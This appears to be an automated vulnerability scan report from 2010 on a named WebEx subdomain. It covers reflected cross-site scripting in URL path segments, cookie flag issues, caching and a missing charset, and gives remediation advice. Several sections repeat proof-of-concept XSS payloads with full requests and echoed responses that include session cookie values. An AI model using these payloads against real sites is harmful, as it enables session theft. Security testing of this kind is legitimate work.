Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 559b3<img%20src%3da%20onerror%3dalert(1)>a3b09aab9ff was submitted in the REST URL parameter 1. This input was echoed as 559b3<img src=a onerror=alert(1)>a3b09aab9ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e8eec<img%20src%3da%20onerror%3dalert(1)>238fc13a182 was submitted in the REST URL parameter 2. This input was echoed as e8eec<img src=a onerror=alert(1)>238fc13a182 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP/1.1 400 Bad Request Date: Fri, 12 Nov 2010 03:09:56 GMT Server: Apache Content-Length: 139 Set-Cookie: JSESSIONID=Q60wMcwGWzh74lBM2zWwTn0HXWy4x8WJRvjDvKhPMJCyCpgytJ6L!-661966481; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" nnCoection: close Content-Type: text/html
Invalid path /eventcenter99b3e<img src=a onerror=alert(1)>82e592c877fe8eec<img src=a onerror=alert(1)>238fc13a182/enroll/join was requested
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 3e777<img%20src%3da%20onerror%3dalert(1)>1837f12bbf was submitted in the REST URL parameter 3. This input was echoed as 3e777<img src=a onerror=alert(1)>1837f12bbf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP/1.1 400 Bad Request Date: Fri, 12 Nov 2010 03:10:15 GMT Server: Apache Content-Length: 138 Set-Cookie: JSESSIONID=4r7sMcwX52s0s8sM2wFXpSyqsPTJVhWbfLW98PNlvjGbtLKm6X01!-1671401853; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Cneonction: close Content-Type: text/html
Invalid path /eventcenter99b3e<img src=a onerror=alert(1)>82e592c877f/enroll3e777<img src=a onerror=alert(1)>1837f12bbf/join was requested
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 65b8e<img%20src%3da%20onerror%3dalert(1)>c7f0bef7a03 was submitted in the REST URL parameter 1. This input was echoed as 65b8e<img src=a onerror=alert(1)>c7f0bef7a03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload dbd95<img%20src%3da%20onerror%3dalert(1)>7f2701b6747 was submitted in the REST URL parameter 2. This input was echoed as dbd95<img src=a onerror=alert(1)>7f2701b6747 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 9c158<img%20src%3da%20onerror%3dalert(1)>9e9b95e9288 was submitted in the REST URL parameter 3. This input was echoed as 9c158<img src=a onerror=alert(1)>9e9b95e9288 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload cc1b6<img%20src%3da%20onerror%3dalert(1)>de871a36146 was submitted in the REST URL parameter 1. This input was echoed as cc1b6<img src=a onerror=alert(1)>de871a36146 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ec0600lcc1b6<img%20src%3da%20onerror%3dalert(1)>de871a36146/eventcenter/enroll/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 400 Bad Request Date: Thu, 11 Nov 2010 22:47:56 GMT Server: Apache Content-Length: 103 Set-Cookie: JSESSIONID=hW4fMcycvnxBnR1S2J1yWXK4hkkNvLq7w7hJJdvwY3ZBycwx1z1L!-801700903; path=/ Connection: close Content-Type: text/html
Invalid path /ec0600lcc1b6<img src=a onerror=alert(1)>de871a36146/eventcenter/enroll/join was requested
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 99b3e<img%20src%3da%20onerror%3dalert(1)>82e592c877f was submitted in the REST URL parameter 2. This input was echoed as 99b3e<img src=a onerror=alert(1)>82e592c877f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ec0600l/eventcenter99b3e<img%20src%3da%20onerror%3dalert(1)>82e592c877f/enroll/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 400 Bad Request Date: Thu, 11 Nov 2010 22:48:05 GMT Server: Apache Content-Length: 95 Set-Cookie: JSESSIONID=FtyBMcyF2ppXPvHdKvnZpd3xpLtHnVBL4l2xy8lmxFBvXM12rWvJ!-1671401853; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Connection: close Content-Type: text/html
Invalid path /eventcenter99b3e<img src=a onerror=alert(1)>82e592c877f/enroll/join was requested
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 59594<img%20src%3da%20onerror%3dalert(1)>380d8599345 was submitted in the REST URL parameter 3. This input was echoed as 59594<img src=a onerror=alert(1)>380d8599345 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ec0600l/eventcenter/enroll59594<img%20src%3da%20onerror%3dalert(1)>380d8599345/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 400 Bad Request Date: Thu, 11 Nov 2010 22:48:15 GMT Server: Apache Content-Length: 95 Set-Cookie: JSESSIONID=tC1kMcyPsLpSLc1CPKhB6Q2pGQWHyBqdwpVLTqwvyFm2kQTbGWsK!-1766120842; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Connection: close Content-Type: text/html
Invalid path /eventcenter/enroll59594<img src=a onerror=alert(1)>380d8599345/join was requested
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /ec0600l/eventcenter/enroll/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 11 Nov 2010 22:47:25 GMT Server: Apache Content-Length: 3182 Set-Cookie: JSESSIONID=b7QYMcypPcT322YTTPnwym0nFRXfpnFxZS1gw2JlsTMsGyqDn424!-661966481; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Set-Cookie: NSC_kfkcqxm=0afc14ac089a;path=/ Connection: close Content-Type: text/html
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 400 Bad Request Date: Fri, 12 Nov 2010 03:07:59 GMT Server: Apache Content-Length: 95 Set-Cookie: JSESSIONID=1hp9McvPJLnxZk1Bz0tknCw8THxc6lr1LhQpp72pXdmBmB075TnG!-1671401853; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" nnCoection: close Content-Type: text/html
Invalid path /eventcenter99b3e<img src=a onerror=alert(1)>82e592c877f/enroll/join was requested
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ec0600l/eventcenter/enroll/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 11 Nov 2010 22:47:25 GMT Server: Apache Content-Length: 3182 Set-Cookie: JSESSIONID=b7QYMcypPcT322YTTPnwym0nFRXfpnFxZS1gw2JlsTMsGyqDn424!-661966481; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Set-Cookie: NSC_kfkcqxm=0afc14ac089a;path=/ Connection: close Content-Type: text/html
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
Cache-control: no-store
Pragma: no-cache
Request
GET /ec0600l/eventcenter/enroll/join.do HTTP/1.1 Host: bmcwebinars.webex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 11 Nov 2010 22:47:25 GMT Server: Apache Content-Length: 3182 Set-Cookie: JSESSIONID=b7QYMcypPcT322YTTPnwym0nFRXfpnFxZS1gw2JlsTMsGyqDn424!-661966481; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" Set-Cookie: NSC_kfkcqxm=0afc14ac089a;path=/ Connection: close Content-Type: text/html
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
HTTP/1.1 400 Bad Request Date: Fri, 12 Nov 2010 03:07:59 GMT Server: Apache Content-Length: 95 Set-Cookie: JSESSIONID=1hp9McvPJLnxZk1Bz0tknCw8THxc6lr1LhQpp72pXdmBmB075TnG!-1671401853; path=/ P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml" nnCoection: close Content-Type: text/html
Invalid path /eventcenter99b3e<img src=a onerror=alert(1)>82e592c877f/enroll/join was requested